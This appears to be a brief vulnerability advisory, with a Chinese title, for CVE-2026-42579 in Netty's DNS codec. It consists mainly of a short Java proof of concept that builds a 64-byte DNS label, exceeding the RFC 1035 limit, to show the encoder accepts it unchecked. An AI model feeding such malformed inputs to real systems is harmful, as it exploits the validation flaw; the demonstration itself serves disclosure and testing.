CVE-2026-42579 Netty DNS编解码器约束缺失漏洞

/* * PoC for CVE-2026-42579: Netty DNS Codec Constraint Bypass * This demonstrates creating a hostname that violates RFC 1035 constraints. */ import io.netty.handler.codec.dns.DefaultDnsQuestion; import io.netty.handler.codec.dns.DnsQuestion; public class NettyDnsPoC { public static void main(String[] args) { // RFC 1035 violation: Label length exceeds 63 bytes String maliciousLabel = "a".repeat(64); String malformedHostname = maliciousLabel + ".example.com"; // In vulnerable versions, the encoder accepts this without validation DnsQuestion question = new DefaultDnsQuestion(malformedHostname, 1); System.out.println("Constructed Malformed DNS Question: " + question.name()); // Output will show the invalid length being processed } }